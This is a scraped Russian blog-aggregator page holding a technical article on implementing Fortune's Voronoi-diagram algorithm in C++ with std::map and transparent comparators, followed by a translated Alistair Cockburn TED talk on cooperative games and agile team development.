...

суббота, 19 ноября 2016 г.

Алгоритм Форчуна на C++ для построения диаграммы Вороного на плоскости

Приветствую, уважаемые читатели данной статьи! В статье я дам описание имплементации алгоритма Форчуна (англ. Fortune's algorithm) для построения диаграммы Вороного (англ. Voronoi diagram) с использованием нативных сбалансированных двоичных деревьев поиска (для уникальных элементов) (англ. BST, binary search tree), предусмотренных стандартом C++, — ассоциативных упорядоченных контейнеров std::map и std::set.



Диаграмма Вороного для 15 точек


Простите меня за все стилистические, грамматические и фактические ошибки. Прошу вас указать на них в личных сообщениях. Всё исправлю. Если есть какие-то упущения, неясности, двусмысленности — также прошу вас сообщить мне.


Репозиторий


http://ift.tt/2g6DEwR


Пока нет релиза, но ветка develop содержит в данный момент стабильную версию. Потом появится и master, и релизы.


Определение диаграммы Вороного


Для некоторого конечного набора попарно различных точек на плоскости (здесь и далее N — количество точек) диаграмма Вороного представляет из себя разбиение плоскости на области — ячейки (англ. cell) диаграммы Вороного. Каждая ячейка содержит в себе лишь одну точку исходного набора точек, называемых сайтами диаграммы Вороного. Все точки ячейки находятся ближе к соответствующему сайту, нежели чем к любому другому. Для обычного определения расстояния на плоскости — метрики Евклида (корень квадратный из суммы квадратов разностей координат точек — из теоремы Пифагора) — форма ячеек в общем случае является выпуклым многоугольником. Конечно же существуют крайние случаи, как если в исходном множестве 1 (ячейка — вся плоскость), 2 точки (ячейка — полуплоскость), либо точки (N >) находящиеся на одной прямой (в этом случае внутренними ячейками будут полосы, а внешними — полуплоскости). Крайние из множества ячеек в общем случае являются частью выпуклых многоугольников с двумя сторонами, уходящими в бесконечность, то есть параллельными, либо расходящимися лучами. Стороны многоугольников ограничивающих ячейки (но при этом не являющимися их частью) — это рёбра (англ. edge) диаграммы Вороного. Они могут быть отрезками (англ. line segment), лучами (англ. ray), либо прямыми (англ. line). Каждая ребро — это множество точек, равноудалённых ровно от двух сайтов, то есть лежит на серединном перпендикуляре для двух сайтов. Вершины многоугольников, ограничивающих ячейки, так и называются — вершины диаграммы Вороного (англ. мн. ч. vertices, ед. ч. vertex). Вершины являются точками, равноудалёнными от трёх и более сайтов, то есть являются центрами (англ. circumcenter) описанных окружностей (англ. circumcircle) многоугольников, которые можно было бы построить на сайтах примыкающих ячеек, как на вершинах.


Неполное описание алгоритма Форчуна


Ранее, в опубликованных здесь другими авторами статьях ((1), (2), (3)), уже было приведено описание алгоритма Форчуна и некоторых структур данных, которые используются для его реализации. Вкратце, суть алгоритма в следующем: по плоскости движется заметающая прямая (англ. sweepline). Движется скачками — от точки к точке. Первая часть этих точек — это точки со ввода, которые становятся сайтами. Вторая часть — это "виртуальные" точки, крайние по ходу движения заметающей прямой точки упомянутых описанных окружностей. При движении (параллельном переносе) заметающей прямой она касается любой такой описанной окружности дважды — второй раз эквивалентен событию, при котором диаграмма Вороного достраивается: к ней добавляется вершина, одно или более рёбер оканчиваются этой новой вершиной и одно или два новых ребра выходят из неё.


Не думаю, что приведённое выше описание алгоритма достаточно хорошо, тем более, в голове у меня своя картина того, как это всё происходит. Картина эта сформировалась под влиянием языка C++ и части его стандартной библиотеки — стандартной библиотеки шаблонов — STL (а именно, алгоритмов и контейнеров). И, здесь, мы плавно переходим к следующей части нашего повествования.


Алгоритм и структуры данных


"Натянуть" алгоритм Форчуна на STL — непростая задача. Точнее, совсем не очевидно как именно это сделать. Связано это с хитрой структурой используемой в алгоритме, которая называется "береговая линия" (англ. beachline). Она описывает геометрическое множество точек равноудалённых от заметающей прямой и от сайтов, ячейки которых ещё не были замкнуты. В нашем случае (плоскость с привычной Евклидовой метрикой) береговая линия состоит из дуг (англ. arc) — ограниченных с одной, либо с двух сторон частей парабол (англ. parabola), фокусами (англ. ед. ч. focus, мн. ч. focii) которых являются сайты. В ходе перемещения заметающей прямой эти куски парабол растут, делятся (в случае если заметающая прямая пересекает очередной сайт и перпендикуляр к заметающей прямой из этого места попадает в кусок параболы где-то посередине, то этот кусок параболы делится на два и между ними "вклинивается" ещё один — с фокусом в новом сайте), и схлопываются в точку (в этом случае появляется новая вершина и одно или два новых ребра). Куски парабол формирующие береговую линию граничат между собой в endpoint-ах (рус. конец отрезка). Каждый данный endpoint движется по прямой (то есть по ребру) и является точкой, которая равноудалёна в каждый момент: от заметающей прямой и от каждого из двух сайтов, которые являются в свою очередь фокусами граничащих через этот endpoint двойки кусков парабол.


Так вот, эта структура, во-первых, должна быть упорядоченной, во-вторых, она обычно является у авторов существующих имплементаций гетерогенной, то есть содержит как куски парабол, так и endpoint-ы в качестве ключей/элементов. Для того, чтобы имплементация имела среднюю и максимальную асимптотическую сложность O(N * log(N)), с необходимостью придётся использовать именно сбалансированные сортирующие деревья. Для хранения гетерогенных данных можно использовать std::variant. Последний, впрочем, мне не понадобится.


std::map и неточный пользовательский "прозрачный" компаратор


Казалось бы (!) контейнеры STL std::set и std::map не очень подходят для хранения береговой линии, но, как оказывается, их можно использовать на полную катушку. Гетерогенности данных в узлах деревьев можно полностью избежать. Всё дело в том, что в качестве ключей хранить можно именно endpoint-ы — упорядоченные пары указателей (или итераторов, указывающих) на сайты — "левый" и "правый" (в некотором смысле, который станет ясным далее). В этом заключается неизбежная избыточность: каждая пара соседних endpoint-ов содержит одинаковую пару указателей (итераторов, указывающих) на сайт.


Куски парабол растут и сжимаются, множатся при движении заметающей прямой, но моя имплементация следит за тем, чтобы всегда в любой момент инварианты контейнера (уникальность/неэквивалентность и абсолютная упорядоченность элементов в нём) сохранялись. endpoint-ы удаляются до того, как абсолютная упорядоченность контейнера может быть нарушена.


Современные реализации стандартных библиотек C++ (по крайней мере libc++ и libstdc++) имеют имплементацию интересующего меня контейнера std::map, которая позволяет производить гетерогенный поиск (англ. heterogeneous lookup), а именно, функции: count, find, equal_range, lower_bound, upper_bound, — имеют среди перегрузок (англ. overloadings) шаблон функции, который позволяет производить поиск элементов, эквивалентных значению, имеющему тип отличный от типа значения (или от типа ключа значения, в случае отображения) хранящегося в контейнере. Данная перегрузка каждой из функций может быть использована только если компаратором (функтором, используемым для сравнения элементов) является "прозрачный компаратор", то есть такой компаратор, который в своём пространстве имён определяет тип с именем is_transparent, будь то таг (имя класса (struct, class, union) или перечисления (enum или enum class)), typedef или псевдоним типа (англ. type alias), как это приведено в следующем коде:


struct less
{
    using is_transparent = void; // int, std::true_type, std::false_type...
    // или
    // typedef void is_transparent;
    // или
    //struct is_transparent;
    //class is_transparent;
    //union is_transparent;
    // или
    //enum is_transparent;
    //enum class is_transparent;
    bool operator () (T const & lhs, T const & rhs) const
    {
        return /* вернуть истину, если lhs строго меньше rhs */;
    }
};

Как видно, тип имени (англ. qualified-id) less::is_transparent может быть незавершённым (англ. incomplete). Например, void или объявление имени может являться forward-declaration класса/перечисления.


Для того чтобы компаратор (less в примере) мог сравнивать значения типа T, находящиеся в контейнере, со значениями некоторого другого типа U, необходимо доопределить компаратор less ещё парой операций, эквивалентных less::operator () (T, U) const и less::operator () (U, T) const для каждого такого типа U.


Эквивалентность с допуском eps


Пользовательский (англ. custom) компаратор здесь ещё необходим в связи со следующими соображениями: в случае, если для промежуточных вычислении используются числа с плавающей запятой (англ. floating-point numbers) имеющие ограниченную точность, то алгоритм параметризуется положительной константой eps, которая задаёт точность сравнения. Числа, которые различаются на величину меньшую чем eps считаются эквивалентными:


double eps = 0.2;
double a = 2.0;
double b = 2.1;
assert(!(a + eps < b) && !(b + eps < a));

В assert-ионе стоит как раз утверждение (определение) эквивалентности a и b. В данном приложении — эквивалентности с точностью eps.


Вот пример вывода списка значений ключей (действительных (с нек. оговорками) чисел) всех элементов содержащихся в контейнере std::map или std::set и эквивалентных целому числу 1 (взято отсюда):


#include <set>
#include <map>
#include <iterator>
#include <algorithm>
#include <iostream>

double const eps = 0.2;

struct less
{
    bool operator () (double l, double r) const { return l < r; }
    using is_transparent = void;
    bool operator () (int l, double r) const { return l + eps < r; }
    bool operator () (double l, int r) const { return l + eps < r; }
};

int main()
{
    {
        std::set< double, less > s{0.0, 0.9, 1.0, 1.1, 2.0};
        auto p = s.equal_range(1);
        std::copy(p.first, p.second, std::ostream_iterator< double >(std::cout, " "));
        std::cout << std::endl;
    }
    {
        struct A {}; // irrelevant
        std::map< double, A, less > m0.0, {0.9, {}}, {1.0, {}}, {1.1, {}}, {2.0, {}}};
        auto p = m.equal_range(1);
        for (auto it = p.first; it != p.second; ++it) {
            std::cout << it->first << ' ';
        }
    }
}

Должно вывести 0.9 1 1.1 для каждого контейнера. Ясно, что даже в контейнере, содержащем уникальные значения какого-то типа T, может оказаться более одного элемента, эквивалентного некоторому значению некоторого типа U, отличного от T. При этом для работы алгоритмов std::map::{count,upper_bound,lower_bound,equal_range} должно выполняться условие — элементы контейнера должны быть хотя бы частично упорядочены (англ. partitioned) при сравнении со значением типа U, как это описано в этом ответе на SO.


Вставка с подсказкой


Полезная особенность реализации ассоциативных упорядоченных контейнеров STL — это возможность вставить элемент с подсказкой (англ. hint). Функции вставки std::map::insert передаётся параметром кроме вставляемого значения ещё и итератор на элемент hint, перед которым необходимо вставить элемент. В случае успешной вставки стандартом даётся гарантия, что будет произведено лишь ограниченное сравнение элементов контейнера (м/у собой (хотя зечем?) и со вставляемым). Здесь я, признаюсь, использую неопределённое поведение (англ. UB, undefined behaviour): дело в том, что есть некоторые требования к компаратору — Comparator concept — которые должны выполняться всегда, что бы мы ни делали с контейнером. Однако ж, логически можно заключить (и так на практике и получается с libc++ и libstdc++), что при вставке уникального элемента в правильное место по подсказке необходимо максимум два сравнения вставляемого элемента с предыдущим *std::prev(hint) элементом и с элементом, на который указывает итератор hint, если таковые имеются. Если контейнер пустой, то сравнений не требуется, а если вставка в начало, либо в конец, то только лишь одно сравнение. Ни одна из двух реализаций стандартной библиотеки, протестированных мною, никогда не пытается сравнить ни один из элементов сам с собой или, в случае со вставкой с подсказкой, — выполнять отличные от абсолютно логически необходимых для подтверждения правильности вставки сравнения элементов. В общем везде и всюду торжествует здравый смысл. Но это всё же UB, если вы в своём коде полагаетесь на это. Я предупредил.


Лексикографическая упорядоченность


Для того, чтобы имплементация алгоритма Форчуна обладала внутренней красотой, необходимо, чтобы на вход алгоритму подавались точки упорядоченные лексикографически (англ. lexicographically ordered). Лексикографическая упорядоченность означает, что сначала две точки сравниваются по абсциссе (x, "икс"), а потом, в случае если их первые координаты эквивалентны, то по ординате (y, "игрек"). Причём в моём случае — с допуском eps.


Две точки плоскости с координатами (lx, ly) и (rx, ry) можно сравнить лексикографически с допуском eps так:


bool less(double l,
         double eps,
         double r)
{
    return l + eps < r;
}

bool less(double lx, double ly,
         double eps,
         double rx, double ry)
{
    if (less(lx, eps, rx)) {
        return true;
    } else if (less(rx, eps, lx)) {
        return false;
    } else {
        if (less(ly, eps, ry)) {
            return true;
        } else {
            return false;
        }
    }
}

Лексикографически без допуска можно сравнить две точки, используя готовую реализацию из STL так:


#include <tuple>

bool less(double lx, double ly,
         double rx, double ry)
{
    return std::tie(lx, ly) < std::tie(rx, ry);
}

Подробнее об этом здесь. Как std::tuple, так и std::pair имеют именно такие операции operator <.


Ввод и вывод, форматы данных


Весь ввод предполагается лексикографически упорядоченным и не содержащим эквивалентных с точностью eps точек. Так как сортировка ввода — это тоже O(N * log(N)), то эту (логически совершенно отдельную) часть я выношу за пределы имплементации. Это позволяет использовать на входе прокси-итераторы (есть в примере), то есть сортировать итераторы указывающие на тяжеловесные точки, а не сами точки.


Алгоритм выглядит как алгоритмы STL — на вход принимает пару итераторов [first,last), задающих диапазон точек (сайтов) для обработки. Формат точки:


struct point { value_type x, y; };

Где value_type — тип значения координаты и, одновременно, тип для хранения любых промежуточных значений в ходе действий алгоритма.


Результатом является граф: вершины содержатся в (автоматически упорядоченном в ходе работы алгоритма) списке vertices_, рёбра — в двусторонней очереди edges_. Контейнеры для вершин (std::list) и рёбер (std::deque) выбраны такими, чтобы не было проблем с недействительными итераторами при вставке и удалении.


Формат ребра:


struct edge { site l, r; pvertex b, e; };

Где site — указатель (или итератор, указывающий на) сайт, pvertex — итератор, указывающий на вершину. Сами вектора в паре (l, r) и (b, e) упорядочены по часовой стрелке, т.е. так, что [(l, r) x (b, e)] < 0 (здесь — векторное произведение). Последнее даёт возможность всё правильно нарисовать в конце и, вообще, хранить всю полноту информации о графе.


Вершина nov = std::end(vertices_) указывает на бесконечность. Копировать и перемещать данную пару контейнеров так просто нельзя. Так как ни при копировании (англ. copy), ни при перемещении (англ. move) действительные (англ. valid) итераторы, которые нельзя разыменовывать (англ. not dereferencable), в их числе и end-итератор nov, не сохраняются. Возможно только глубокое копирование (англ. deep-copying, cloning (есть в примере)), которое здесь имеет квадратичную сложность. Хотя есть один обходной манёвр. В самом начале сохранить фейковый элемент в vertices_ и использовать его итератор как указатель на бесконечность. Я не пробовал, но это принципиально осуществимо, но только для копирования/перемещения, не для клонирования.


Другие особенности имплементации


Обычно алгоритм Форчуна ведёт очередь для событий двух типов. Это так называемые события круга (англ. circle event) и события точки (англ. point event).


События точки возникают, когда заметающая прямая пересекает очередной сайт. Они неизбежны.


События круга возникают, когда схлопывается какой-то кусок параболы. В очередь они добавляются, когда три сайта a, b и c в порядке их перечисления в структуре береговой линии образуют двойку векторов, упорядоченную по часовой стрелке: [(a, b) x (b, c)] < 0 (здесь — векторное произведение). Но события круга могут быть удалены, если схлопывается какой-то из соседних кусков парабол, либо один из кусков парабол расчленяется куском параболы, вновь созданным для пересекаемого заметающей прямой сайта. Поэтому, вместо зачастую используемой обёртки контейнеров std::priority_queue, я использую всё тот же контейнер std::map или std::set. Сложности нужных операций для этих контейнеров те же самые, что и для std::priority_queue, но они позволяют удалить не только наибольший/наименьший элемент, но и любой другой (по итератору — за O(1) времени). Обычно события из очереди с приоритетами не удаляют, а помечают как недействительное (англ. disabled). Когда такое событие встречается — его пропускают.


Я использую очередь только для событий круга, так как точки на вход уже поступают в лексикографическом порядке. События точки имеют приоритет перед событиями круга в случае их эквивалентности. Очередь событий круга имеет своим ключом потенциальную вершину, которая будет скопирована в список вершин диаграммы Вороного в случае возникновения события круга. Структура описывающая вершину выглядит так:


struct vertex { struct point { value_type x, y; } c; value_type R; };

Где (x, y) — собственно сама вершина, а R — расстояние до сайтов соседних ячеек.


Для того, чтобы использовать лексикографическую упорядоченность всего и вся в моём алгоритме, заметающая прямая параллельна оси ординат и движется строго в направлении оси абсцисс. Таким образом все события круга возникают при координатах c.x + R для соответствующих вершин.


Особенные случаи


Имплементация направлена на правильную обработку сложных особенных случаев. Им было уделено повышенное внимание.


Особенные случаи, которые требуют особого внимания — это случаи низкой размерности ввода, либо локальные симметрии и одновременные события:


  • 0, 1, 2 точки
  • 2 и более первые точки со ввода лежат на одной вертикальной прямой (x = const) (при добавлении каждого следующего такого сайта создаётся только одно ребро и только один соответствующий endpoint добавляется в береговую линию).
  • более, чем три точки расположены концентрически (при событии сходится более чем два endpoint-а, создаётся одно новое ребро и соответствующий endpoint добавляется в береговую линию)
  • при движении заметающей прямой очередной сайт попадает в один endpoint (автоматически возникает и завершается событие круга порождается новая вершина и два новых ребра исходят из неё, два соответствующих endpoint-а добавляются в береговую линию)
  • при движении заметающей прямой очередной сайт попадает в множество endpoint-ов, которые бы на следующем шагу алгоритма сошлись в новой вершине — в этом случае новый сайт эквивалентен уже лежащему в очереди событий круга самому ближайшему событию (это событие автоматически завершается, порождая новую вершину и два новых ребра, исходящих из неё, два соответственных endpoint-а добавляются в береговую линию)

Два последних особенных случая как раз выявляются гетерогенным сравнением сайта с endpoint-ами в структуре береговой линии. Посредством алгоритма std::map::equal_range за log(size(endpoints_)) времени можно найти весь диапазон endpoint-ов, сходящихся в вершине, эквивалентной текущему сайту. Если диапазон ([first, last)) не пустой, то мы попали в ребро (assert(std::next(first) == last);), либо в в несколько рёбер (assert(1 < std::distance(first, last));), а если пустой (assert(first == last)), то мы просто попали в кусок параболы где-то посередине. Сам этот кусок расчленяется на два куска, между которыми вставляется новый цельный кусок параболы (которая в этот момент вырождена в луч, перпендикулярный заметающей прямой) с фокусом в данном сайте. При этом создаётся только одно ребро и два соответствующих ему endpoint-а добавляется в береговую линию — это самый часто встречающийся в общем случае вариант. Только лишь в этом (и во втором особенном случае) создаётся ребро без хотя бы одного уже известного конца (т.е. ассоциированной вершины).


При любых событиях, изменяющих структуру береговой линии все вовлечённые соседние пары endpoint-ов проверяются на предмет того, могут ли они в дальнейшем сойтись в вершине. Если могут, то добавляется соответствующее событие в очередь событий круга.


Вставка endpoint-ов


Как я уже упомянул выше, мой пользовательский компаратор, используемый в дереве представляющем береговую линию, является/приводит к UB, при сравнении endpoint-ов. Для гетерогенной части же — всё в строгом соответствии со Стандартом — language lawyer носа не подточит.


Алгоритм устроен так, что при вставке по подсказке hint, новые endpoint-ы вставляются справа налево в только правильные места (выявленные на предыдущих шагах), и, так как в случае вставки только одного endpoint-а указатели (итераторы) на хотя бы один разграничиваемый сайт присутствует в любом из соседних endpoint-ах (либо hint, либо std::prev(hint)), то всегда можно понять только сравнивая эти указатели (итераторы), находится ли сравниваемый endpoint левее (ниже) или правее (выше) в структуре береговой линии (прим. мысленно я всегда поворачиваю всю картину на +90°).


Однако же, есть и вариант, когда мы вставляем два endpoint-а, которые возникают в самом последнем особенном случае. Среди четырёх endpoint-ов, вовлечённых в операцию вставки по подсказке (два вставляемых плюс два граничных), определённо есть такие, которые не имеют общих разграничиваемых сайтов. Но и здесь есть простой выход. Когда мы вставляем endpoint-ы (как обычно: сверху вниз), то каждый из вставляемых endpoint-ов имеет одним из сайтов тот, который и вызвал это событие точки. Лексикографически сравнивая по одному сайту, лексикографическому большему из двух для каждого endpoint-а, мы можем выяснить какой из endpoint-ов "правее", а какой — "левее" в структуре береговой линии.


Примечание


Кроме UB в компараторе, имплементация алгоритма полагается на так называемые SCARY-итераторы ((4), (5)), которые допустимы начиная с C++11, но не обязательны. Они здесь действительно необходимы для кросс-референсинга очереди событий круга и береговой линии. Иначе (без SCARY-итераторов) нельзя красиво получить эталонную асимптотическую сложность O(N * log(N)). Использовать стирание типа (англ. type erasure) здесь для таких целей выглядело бы совершенно противоестественным.


Пучки


В случае концентрически расположенных сайтов, в списке, хранящем указатели на endpoint-ы, сходящиеся при соответствующем событии, сами эти указатели находятся в некотором беспорядке. Чтобы "задёшево" понять который из сходящихся endpoint-ов самый "левый", а который самый "правый", можно, пользуясь тем, что все соответствующие сайты находятся на одинаковом расстоянии от общей вершины, сравнивать углы векторов (либо углы серединных перпендикуляров пар сайтов, используя преобразование координат для поворота +pi / 2 <=> x <- y, y <- -x), для чего удобна C-функция std::atan2, правильно сопоставляющая знаки и квадранты.


Визуализация


Для визуализации я использую gnuplot. Он вполне быстро отрисовывает референтную для меня диаграмму Воронного для 100000 сайтов.


Сам алгоритм обрезки рёбер по размерам ограничивающего прямоугольника (англ. bounding box) также есть в репозитории.


Опционально можно включить отображение описанных окружностей (получается такая кудрявая цветастая картинка) и номеров сайтов. Обе опции имеют смысл только на маленьких размерах ввода.


Сложный ввод


Сложными для обработки плохими реализациями являются следующие конфигурации точек на входе алгоритма:


  • прямоугольная сетка (англ. rectangle grid) — точки расположены через равные шаги по обеим координатам без смещения
  • диагональная сетка (англ. diagonal grid) — повёрнутая на pi / 4 прямоугольная сетка
  • гексагональная сетка (англ. hexagonal grid) — точки расположены в вершинах правильных (равносторонних) треугольников, которыми замощена нужная часть плоскости
  • треугольная сетка (англ. triangular grid) — точки расположены в вершинах правильных шестиугольников, которыми замощена нужная часть плоскости

Крепкий орешек (нужна помощь)


Каждая из перечисленных выше сеток выявила тонны багов на промежуточных стадиях моей имплементации. Последняя — это самая жесть, скажу я вам! Она очень быстро выявляет неточность в вычислениях с плавающей запятой. Уже на небольших разбросах диапазонов абсолютных значений координат разница в координатах, которые вычисляются для центра и радиуса (англ. circumradius) описанной окружности по этим формулам (вычисление вершины — ф-я make_vertex) и по выведенным вручную формулам для вычисления ординаты пересечения двух горизонтальных парабол (ф-я intersect из пользовательского компаратора для endpoint-ов), достигает зловеще больших значений! Бесконтрольное увеличение eps — это не выход, я уверен.


Не смотря на то, что в каждой из этих операций я добился использования только одного (SIMD :-) ) деления и одного корня квадратного, точность их разнится весьма сильно. Вроде бы и std::sqrt является точной операцией. Цитата отсюда:


std::sqrt is required by the IEEE standard be exact.

Однако существенное расхождение — установленный факт. Что делать? Я не знаю. Есть здесь специалисты по стабильным вычислениям с плавающей запятой? Помогите — в благодарность запишу в соавторы в README в репозитории. Цель — победить треугольную сетку на нативных типах чисел с плавающей запятой.


Тест производительности


Производительность я измеряю для 100'000 точек. Предвосхищая вопрос "Почему именно для ста тысяч?" я сразу сообщаю: потому что в этой задаче, которая является топ 5 в рейтинге Тимуса по сложности фигурирует эта цифра.


Так вот, производительность для 100'000 точек в общих позициях с аллокатором TCMalloc из Google Performance Tools на довольно древнем ноутбуке с Intel(R) Core(TM) i7-2670QM CPU @ 2.20GHz выражается в величине 205 миллисекунд. На серверном железе без этого хитрого аллокатора она будет примерно такой же (проверено).


Кстати, arena-аллокатор даёт такую же прибавку как и упомянутый TCMalloc.


Лицензия


Она всё равно будет ничтожной в России. Так что ничего не буду писать здесь пока. Проконсультируйте, если есть какие-то стоящие соображения.

Комментарии (0)

    Let's block ads! (Why?)

    Некоторые тонкости использования Service Workers

    Проблемы трекинга: как мобильные работники обманывают компании из-за недостатков технологий контроля

    [Перевод] Алистер Коберн: Командная разработка и agile

    Сегодня день рождения одного из отцов-основателей Agile-манифестаАлистера Коберна. Предлагаю вашему вниманию перевод его выступления на TED про командную разработку.

    image

    Давайте посмотрим на группу людей, занимающихся дизайном. Мы видим, как они что-то изобретают, общаются и принимают решения. Они решают проблему, которую ещё не до конца понимают, потому что это только начало и она изменяется. Они создают решение, которое, конечно, не понимают, потому что только начали, и оно изменяется. Они выражают свои идеи с помощью разновидностей языка, которые часто тоже не понимают, и угадайте, что? Те изменяются.

    Если вы занимаетесь разработкой ПО или инженерных решений, химической инженерией, биохимией, ваш конечный интерпретатор беспощаден. Если вы проектируете что-то для человеческой аудитории, вам очень повезло, потому что она будет снисходительна по отношению к каким-то вещам.

    (Буду благодарен, если предложения по улучшению перевода вы напишите в личку.)

    Все принимают какие-то решения, решения имеют экономические последствия, которые касаются других, и вам приходится сокращать ресурсы. Это слайд, где нет аналогий и метафор, где я утверждаю, что проблема, которую мы пытаемся понять, это пространство, в котором мы находимся, и мы ищем язык, который поможет нам понять, как делать эту работу.

    Хороший способ — относиться к этому как к совместной игре. Поэтому сначала нам нужно немного поговорить об играх. В этой таблице представлены их разные виды: совместные игры, соревновательные игры и т.д. Сначала простые. Это соревновательные игры с определённой целью, такие как шахматы или теннис, где цель — это выиграть игру. Вы ведёте счёт и знаете, когда игра окончена.

    image

    Есть игры без счёта. Они заканчиваются, но финал остаётся открытым. Посмотрите на детей, играющих на природе в «царь горы» — они играют, пока не устанут. Они могут играть, пока не настанет время обеда или пока не стемнеет и мама не позовёт их. То же самое с покером, люди играют до звонка вроде: «Привет, дорогой, сейчас 1:30, как думаешь, может пора домой?» То есть в итоге вы всё же приходите к концу.

    Но интереснее то, что парень по имени James Carse назвал бесконечными играми. Игры, суть которых состоит в игре. Игры, которые не предполагают завершения. Если игра заканчивается — это провал.

    И здесь вы применяете выживание. Страны стараются выжить, корпорации стараются выжить, тела пытаются продолжать существовать и всё такое. Мы можем объяснить много интересных вещей, обратившись к бесконечным играм.

    Например, карьерный менеджмент. Когда ваш ребёнок или вы сами покидаете колледж, ваши родители могут посоветовать вам не идти на работу, на которой платят больше всего. Идите на работу, которая лучше всего выглядит в вашем резюме и поможет получить следующую. Это пример хода в бесконечной игре.

    К сожалению, в командах разработчиков мы видим людей, которые играют в бесконечную игру карьерного менеджмента. Мы встречаем в проектах людей, использующих технологии, которые ничего не дают проекту, но хорошо выглядят в резюме. Я действительно видел проекты, которые провалились из-за того, что выбранные технологии были неподходящими.

    Получается, проекты — это с виду совместные игры, но они пронизаны этими стрелами бесконечных игр вроде выживания и карьерного менеджмента.

    Интересно, что также в этой категории находится управление линейками продукции. Представьте, что выходит продукт, давайте его просто назовём версией 3. Сделаем вид, что вы достаточно неудачливы, чтобы оказаться на рынке мобильных телефонов пару лет назад. Тут Apple выпускает iPhone, и вы делаете релиз 3.12, который даёт вам время, чтобы сделать релиз 4. Этот выход релизов 3.1 — это ход в бесконечной игре, где вы пытаетесь купить время, чтобы оставаться в игре.

    Возвращаясь назад, у нас есть командная версия игр с открытым концом вроде «царя горы» и покера. Здесь не очень много примеров. Джазовая музыка — это отличный пример. Джазовый музыкант не говорит: «Ребята, у нас всего 10 минут до того, как мне надо уйти. Давайте ускоримся. В последний раз мы играли 12 минут, давайте уложимся в 10». Что происходит в джазе? В джазе они играют, и играют, и играют, пока не закончат.

    На перерыве кто-то сказал мне, что есть и другой пример — World of Warcraft. Это пример людей, которые играют в соревновательную игру, но играют командой и делают это до тех пор, пока не устанут. Так что есть другие подходы к совместным играм с открытым концом.

    Меня интересует то, что в нижнем правом углу, где много записей в одной категории. Я был удивлён, начав с альпинизма и разработки ПО, когда внезапно обнаружил, что это также применимо к изданию журналов, театру, организации конференций вроде этой, маркетинговым инициативам. Все эти вещи, о которых я говорю, также применимы к покупке технологических стартапов и т.д. Если мы сможем разобраться, что представляет собой эта группа вещей под названием совместные игры с определённой целью (или бесконечные игры — длинная цепь из таких вещей), мы получим некий язык и возможности для манипуляции ими. В общем, это часть игры, и интересно, что когда ты смотришь на какой-то тип ситуаций, ты обнаруживаешь и себя в подобной.

    Это важно, потому что проектные или ведущие менеджеры часто думают, что есть фиксированная формула, как выигрывать в этих играх. Я хочу, чтобы вы поняли, что тут всё не как в шахматах. Вы не приступаете к ней с самого начала, просто составив план и победив. Игра постоянно меняется, окружающая среда меняется, меняются проблемы, меняются игроки. Нет фиксированной формулы для победы.


    Здесь у нас очень простая таблица, где я указал количество людей, которых надо скоординировать по горизонтальной оси, а по вертикальной оси — критичность, или жизненный вред. И тут есть квадраты, где проставлены цифры исходя из этих двух параметров. Если у вас есть проект, в который вовлечены 6 или менее человек, то вы можете собрать их в одной комнате и дать поговорить друг с другом. Но когда у вас 20 человек, вы больше не можете все находиться в одной комнате. Возможно, вы уже смешиваете технологии. Если у вас 100 человек, у вас есть проблемы с согласованностью и взаимодействием.

    По вертикальной оси у нас жизненные потери. Например, наверху находятся самолёты, ядерная энергия, медицинское оборудование, где люди умирают, если вы плохо справились. Ниже речь идёт о финансовых потерях. Или вы можете спуститься, скажем, до проектирования сцены в школьном театре, где потери будут состоять в комфорте. У нас есть разные виды проверки и контроля нарушений по мере продвижения наверх.

    Эта таблица полезна, потому что вы можете видеть траектории движения проектов. В девяностых я начинал некоторые проекты с двумя людьми, работающими над какой-то крутой идеей, получившими затем внимание целых корпорации, которые отправили на них сотню человек. И рано или поздно проект останавливался, потому что люди продолжали думать, что всё ещё работают в проекте двух человек. В их головах это всё ещё был стартап. Те из вас, кто представляют здесь стартапы, через которые уже прошли три сотни человек, должны были заметить такое.

    В проекте Центрального банка Норвегии, где отслеживали межбанковские транзакции на территории страны, все относились к потерям свободных денег так, как будто это был проект из трёх человек. В один день я проснулся и сказал: «Это же межбанковские транзакции во всей Норвегии, там проходят десятки миллионов крон». Я поставил его на ступеньку выше. Мы расширили проект до 20 человек, некоторые были в Лиллехаммере, некоторые в Осло. Я поставил его выше снова. Суть была в том, что мы не меняли проект, мы меняли своё представление о нём.

    Это упрощённая картинка. Реальная выглядит куда хуже, я показал вам упрощённый вид. Около 10-15 лет назад некто каталогизировал множество абсолютно разных видов проектов по разработке ПО и их получилось около 35 тысяч. Это было пятнадцать лет назад. Так что я хотел, чтобы было предельно ясно, что нет простой фиксированной формулы. Если у вас была определённая стратегия и вам так повезло, что в прошлый раз она сработала, очень велики шансы, что в этот раз та же самая стратегия может иметь неприятные последствия.

    Следующий вопрос — командные игры. Совместные игры выносят на передний план человеческие проблемы. В частности, вопросы доверия и личной безопасности. Когда что-то идёт не так (и, кстати, всегда что-то идёт не так), мне неловко говорить, что твоя шутка — отстой, что твои мосты разрушатся, что твоя химическая реакция не сработает. А тебе нужно узнать об этом как можно раньше. Вопрос в том, станут ли люди говорить об этом друг другу и станут ли они друг друга слушать. Достаточно ли надёжна команда, чтобы сообщать плохие новости. Достаточно ли доброжелательна, чтобы принимать плохие новости.


    Я испытал это вчера. Я репетировал вчера свою речь и в конце один из моих друзей сел и сказал: «Хочешь услышать отзыв?» Я подумал: «Нет, заткнись, я сделал её на 25 минут, я могу говорить быстрее и уложиться в 20 завтра». Но я сказал: «Да, конечно». И после очень вежливого и вдумчивого отзыва мы написали всю эту речь на сегодня прошлой ночью. Подумайте: вот мой друг, какой вид личной безопасности ему нужен, чтобы сказать: «Эй, Алистер, я знаю, что это будет на TED завтра. Это отстой. Знаешь, попробуй ещё раз». Это очень жёстко. И он сейчас в зале. Но это было очень хорошо. Это пример, как нужно передавать плохие новости быстро.


    Последнее, о чём я скажу — это коммуникация. Тут быстрый тест. В использовании концепции совместной игры нужно быть способным посмотреть на оборудование офиса и то, где идеи проходят быстро и где — медленно. Здесь мы видим славный офис ThoughtWorks в Чикаго. Он очень современный. Когда я смотрю на него, я вижу покрытия, которые поглощают звук, я вижу высокие потолки, которые рассеивают звук и расширяют пространство. У них есть дугообразные столы, которые вообще-то довольно паршивы, потому что вы не можете привести коллегу и передвинуть экран вперёд. Но что я также заметил, и надеюсь, что и вы заметили, это двух людей, работающих рядом, у них очень интенсивная коммуникация, они обмениваются идеями невероятно быстро.

